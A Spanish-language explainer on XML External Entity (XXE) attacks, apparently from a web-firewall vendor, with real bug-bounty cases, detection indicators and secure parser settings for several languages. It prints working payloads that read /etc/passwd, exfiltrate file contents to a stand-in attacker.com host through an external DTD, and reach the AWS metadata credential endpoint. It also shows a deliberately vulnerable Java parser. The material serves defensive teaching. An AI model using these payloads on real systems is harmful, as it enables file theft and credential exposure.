Ataque de Entidad Externa XML (XXE)
Un ataque de Entidad Externa XML (XXE) explota parsers XML vulnerables que procesan declaraciones de entidades externas dentro de la entrada XML. Al inyectar una Definición de Tipo de Documento (DTD) manipulada en datos XML enviados a la aplicación, el atacante fuerza al servidor a leer archivos locales, realizar Server-Side Request Forgery (SSRF), ejecutar ataques de denegación de servicio o — en ciertas configuraciones — lograr ejecución remota de código. XXE es especialmente peligroso porque el análisis XML es ubicuo: sustenta las APIs SOAP, la autenticación SAML, los documentos Office, las imágenes SVG, los feeds RSS e innumerables formatos de intercambio de datos.
Cómo Funciona Ataque de Entidad Externa XML (XXE)
XML soporta una característica llamada entidades externas, definidas en una Definición de Tipo de Documento (DTD). Una entidad es esencialmente una variable: <!ENTITY nombre "valor"> define una entidad interna, mientras que <!ENTITY nombre SYSTEM "file:///etc/passwd"> define una entidad externa que carga su valor desde un recurso externo — un archivo local, una URL o incluso un servicio de red. Cuando un parser XML vulnerable procesa la entrada que contiene estas declaraciones y luego expande la referencia de entidad (&nombre;) en el cuerpo del documento, obtiene el recurso externo e incluye su contenido en la salida parseada. El atacante no necesita acceso especial — simplemente envía XML manipulado a cualquier endpoint que parsee entrada XML.
Identificar superficies de entrada XML
El atacante mapea todos los endpoints que aceptan o procesan XML: endpoints de API SOAP/REST con Content-Type: application/xml o text/xml, formularios de subida de archivos que aceptan archivos DOCX/XLSX/SVG/XML (todos basados en XML), endpoints SAML SSO, importadores de feeds RSS/Atom, endpoints XML-RPC, importadores de archivos de configuración y cualquier endpoint que acepte datos multipart donde una parte podría parsearse como XML. Incluso las APIs JSON pueden ser vulnerables si el servidor también acepta XML (muchos frameworks auto-negocian el Content-Type). El atacante cambia el Content-Type de application/json a application/xml y envía XML equivalente — si el servidor lo procesa, comienzan las pruebas de XXE.
Probar XXE básico con un archivo conocido
El atacante envía XML conteniendo una entidad externa que referencia un archivo conocido y legible: <!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root>&xxe;</root>. Si la respuesta parseada contiene el contenido del archivo (la lista de usuarios de /etc/passwd), se confirma el XXE clásico. En Windows, el archivo de prueba es C:\Windows\win.ini. Si la respuesta no refleja el valor de la entidad (la aplicación no muestra el XML parseado), el atacante pivota a XXE fuera de banda (OOB), usando una entidad HTTP que activa un callback al servidor controlado por el atacante: <!ENTITY xxe SYSTEM "http://atacante.com/xxe-test"> — una búsqueda DNS o solicitud HTTP en los logs del servidor del atacante confirma la vulnerabilidad incluso sin salida visible.
Exfiltrar datos mediante canales fuera de banda
Para XXE ciego (sin salida directa), el atacante usa entidades de parámetro para exfiltrar datos a través de HTTP o DNS: (1) Definir una entidad de parámetro que lea un archivo local: <!ENTITY % data SYSTEM "file:///etc/passwd">; (2) Definir una segunda entidad que incruste el contenido del archivo en una URL: <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://atacante.com/?d=%data;'>">; (3) Alojar un DTD externo en el servidor del atacante conteniendo estas definiciones; (4) Referenciar el DTD externo: <!DOCTYPE foo SYSTEM "http://atacante.com/evil.dtd">. El parser obtiene el DTD externo, procesa las definiciones de entidades encadenadas, lee el archivo local y envía su contenido al servidor del atacante como un parámetro de URL. La exfiltración basada en DNS funciona incluso cuando HTTP está bloqueado.
Realizar SSRF mediante XXE
XXE es un poderoso vector de SSRF. Al usar entidades con URIs http:// o https:// apuntando a recursos internos, el atacante fuerza al parser XML a realizar solicitudes del lado del servidor: <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/"> recupera metadatos de instancia de AWS incluyendo credenciales IAM temporales. <!ENTITY xxe SYSTEM "http://api-interna.corp:8080/admin/users"> accede a APIs internas. El parser XML actúa como proxy, realizando solicitudes autenticadas desde la posición de red del servidor — evadiendo firewalls, VPNs y segmentación de red que bloquearían el acceso externo directo.
Denegación de servicio y ejecución de código
XXE habilita ataques DoS potentes: el ataque 'Billion Laughs' (bomba XML) define entidades anidadas que se expanden exponencialmente — 10 niveles de expansión 10x producen 10 mil millones de copias de entidad a partir de unos pocos kilobytes de XML, consumiendo toda la memoria disponible y colapsando el parser. Para ejecución de código, el wrapper expect:// de PHP (expect://id) ejecuta comandos del sistema cuando se usa como URI de entidad. El procesamiento XSLT de Java puede ser abusado para ejecución de código vía scripting incrustado. Incluso sin ejecución directa de código, la combinación de lectura de archivos (extracción de credenciales) y SSRF (acceso a servicios internos) típicamente proporciona un camino hacia el compromiso total del servidor.
Ejemplos Reales
XXE en Facebook vía subida de DOCX (Bug Bounty)
El investigador de seguridad Mohamed Ramadan descubrió que la página de empleos de Facebook procesaba currículos DOCX subidos a través de un parser XML vulnerable a XXE. Un archivo DOCX es un archivo ZIP que contiene archivos XML — al modificar el XML interno para incluir una entidad externa apuntando a un archivo local, el investigador leyó archivos de los servidores de Facebook. Facebook confirmó la vulnerabilidad, la parcheó y otorgó una recompensa por el hallazgo. El caso demostró que cualquier formato de archivo basado en XML (DOCX, XLSX, PPTX, ODT, SVG) puede ser un vector de XXE, incluso cuando la aplicación no parece aceptar entrada XML cruda.
XXE en SAML afectando múltiples proveedores SSO
Investigadores de Duo Security (ahora parte de Cisco) descubrieron vulnerabilidades XXE en siete bibliotecas SAML SSO en múltiples lenguajes (Python, Ruby, PHP, Java). SAML — el protocolo que sustenta el inicio de sesión único empresarial — usa mensajes XML firmados. Las bibliotecas vulnerables parseaban el XML antes de validar la firma, permitiendo a los atacantes inyectar cargas XXE en mensajes de autenticación. Cualquier aplicación que usara estas bibliotecas para SSO (incluyendo OneLogin, despliegues de Shibboleth e integraciones SAML personalizadas) era vulnerable a evasión de autenticación, divulgación de archivos y SSRF. El hallazgo afectó a miles de aplicaciones empresariales.
XXE en Uber vía cálculo de tarifas con XLSX
Un investigador descubrió que el portal de socios conductores de Uber procesaba hojas de cálculo XLSX subidas con un parser XML vulnerable. Al crear un archivo XLSX que contenía cargas XXE en los documentos XML internos, el investigador logró lectura de archivos locales en los servidores de Uber. La vulnerabilidad estaba en la función de importación de cálculo de tarifas donde los conductores subían hojas de cálculo. Uber otorgó una recompensa de $10,000. El caso destacó cómo XXE puede ocultarse en cualquier funcionalidad que procese formatos de documentos estructurados — hojas de cálculo, documentos de texto, presentaciones — no solo en APIs XML obvias.
Impacto y Evaluación de Riesgo
XXE se clasifica como Alto (y fue una categoría dedicada del OWASP Top 10 en 2017 como A4: Entidades Externas XML) porque proporciona un kit de herramientas versátil para atacantes: la divulgación de archivos locales revela credenciales, claves y código fuente; SSRF habilita el acceso a endpoints de metadatos de la nube y servicios internos; DoS vía bombas XML puede colapsar sistemas de producción; y en configuraciones específicas, la ejecución de código es alcanzable. La superficie de ataque es engañosamente grande — XXE no se limita a APIs XML explícitas. Cualquier aplicación que procese DOCX, XLSX, SVG, SAML, RSS, SOAP o archivos de configuración puede ser vulnerable. La prevalencia de XML en sistemas empresariales (servicios SOAP, SAML SSO, pipelines de procesamiento de documentos) significa que XXE continúa afectando infraestructura crítica incluso mientras las aplicaciones más nuevas migran a JSON. Los programas de bug bounty clasifican consistentemente a XXE entre las 10 clases de vulnerabilidad más reportadas.
Cómo Detectar Ataque de Entidad Externa XML (XXE)
Monitorear indicadores de XXE en múltiples capas: (1) Reglas del WAF que detecten declaraciones DOCTYPE, definiciones ENTITY y palabras clave SYSTEM/PUBLIC en cargas XML entrantes — estas raramente aparecen en entrada legítima de aplicaciones; (2) Escanear referencias de entidades (&xxe;, %) y URIs sospechosas en contenido XML (file://, expect://, php://, http:// apuntando a IPs internas o endpoints de metadatos); (3) Monitorear conexiones de red salientes desde servicios de procesamiento XML — un parser realizando solicitudes HTTP/DNS a destinos inesperados indica explotación de XXE o SSRF; (4) Registro a nivel de aplicación que registre eventos de parseo XML y marque cualquier resolución de entidad externa; (5) Monitoreo de memoria en servicios de procesamiento XML — picos repentinos de memoria indican ataques de bomba XML (Billion Laughs); (6) Reglas de detección de intrusiones para cargas XXE conocidas en cuerpos de solicitudes HTTP y contenido de subidas multipart.
Cómo Prevenir Ataque de Entidad Externa XML (XXE)
La defensa principal es deshabilitar el procesamiento de entidades externas en el parser XML — este único cambio de configuración neutraliza casi todas las variantes de XXE. La implementación varía por lenguaje: (1) Java: DocumentBuilderFactory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true) o usar defusedxml; (2) Python: usar la biblioteca defusedxml en lugar de xml.etree, o establecer forbid_dtd=True, forbid_entities=True, forbid_external=True en el parser; (3) PHP: libxml_disable_entity_loader(true) (PHP < 8.0) o asegurar que LIBXML_NOENT nunca se pase al parser; (4) .NET: XmlReaderSettings.DtdProcessing = DtdProcessing.Prohibit; (5) Ruby/Nokogiri: Nokogiri::XML(input) { |config| config.noent.nonet }. Adicionalmente: validar y sanitizar entrada XML usando esquemas (XSD), rechazar XML que contenga declaraciones DOCTYPE a nivel de WAF, convertir APIs XML a JSON donde sea posible, mantener actualizadas las bibliotecas de procesamiento XML, y aplicar mínimo privilegio a la cuenta de servicio que ejecuta el procesamiento XML para limitar el impacto de la divulgación de archivos.
Ejemplos de Código
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
<email>attacker@example.com</email>
</user>
<!-- Server response includes the contents of /etc/passwd:
<user>
<name>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...</name>
<email>attacker@example.com</email>
</user>
-->
<!-- Blind XXE via out-of-band exfiltration: -->
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE data [
<!ENTITY % file SYSTEM "file:///etc/hostname">
<!ENTITY % dtd SYSTEM "http://attacker.com/evil.dtd">
%dtd;
]>
<data>&send;</data>
<!-- evil.dtd hosted on attacker's server:
<!ENTITY % payload "<!ENTITY send SYSTEM 'http://attacker.com/exfil?d=%file;'>">
%payload;
-->
import javax.xml.parsers.DocumentBuilderFactory;
import javax.xml.parsers.DocumentBuilder;
import org.w3c.dom.Document;
import java.io.ByteArrayInputStream;
public class XMLProcessor {
// VULNERABLE: Default Java DocumentBuilder allows external entities
public Document parseUnsafe(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// No security features configured — XXE is possible!
DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse(new ByteArrayInputStream(xml.getBytes()));
}
// SECURE: Disable DTDs and external entities entirely
public Document parseSafe(String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// Disallow DTDs entirely (the nuclear option — most effective)
factory.setFeature(
"http://apache.org/xml/features/disallow-doctype-decl", true);
// Defense-in-depth: disable external entities even if DTD is somehow allowed
factory.setFeature(
"http://xml.org/sax/features/external-general-entities", false);
factory.setFeature(
"http://xml.org/sax/features/external-parameter-entities", false);
// Disable external DTD loading
factory.setFeature(
"http://apache.org/xml/features/nonvalidating/load-external-dtd", false);
// Disable XInclude processing
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
DocumentBuilder builder = factory.newDocumentBuilder();
return builder.parse(new ByteArrayInputStream(xml.getBytes()));
}
}
# VULNERABLE: Standard library XML parsers are XXE-prone
# import xml.etree.ElementTree as ET # DO NOT USE for untrusted XML
# tree = ET.parse('input.xml') # Allows external entities!
# SECURE: Use the defusedxml library (pip install defusedxml)
import defusedxml.ElementTree as ET
from defusedxml import DefusedXmlException
from defusedxml.common import DTDForbidden, EntitiesForbidden
def parse_xml_safely(xml_string: str) -> dict:
"""Parse XML input with all dangerous features disabled."""
try:
# defusedxml automatically blocks:
# - DTD processing
# - External entity expansion
# - External DTD loading
# - Entity expansion beyond configurable limits
root = ET.fromstring(xml_string)
return {
'tag': root.tag,
'text': root.text,
'children': [
{'tag': child.tag, 'text': child.text}
for child in root
]
}
except DTDForbidden:
raise ValueError('XML with DTD declarations is not allowed')
except EntitiesForbidden:
raise ValueError('XML with entity definitions is not allowed')
except DefusedXmlException as e:
raise ValueError(f'Potentially malicious XML blocked: {e}')
except ET.ParseError as e:
raise ValueError(f'Invalid XML: {e}')
# For DOCX/XLSX/SVG file processing:
def safe_process_docx(file_path: str):
"""Process DOCX files with XXE protection."""
import zipfile
import defusedxml.ElementTree as SafeET
with zipfile.ZipFile(file_path, 'r') as z:
# DOCX internal XML files that could contain XXE
for xml_file in ['word/document.xml', 'word/styles.xml']:
if xml_file in z.namelist():
with z.open(xml_file) as f:
# Parse each internal XML file safely
tree = SafeET.parse(f) # XXE blocked automatically
Preguntas Frecuentes
PowerWAF bloquea automáticamente Ataque de Entidad Externa XML (XXE) antes de que llegue a tu servidor.
Implementa en minutos. Sin cambios de código. Plan gratuito disponible.
Los cupos del plan gratuito son limitados · No credit card required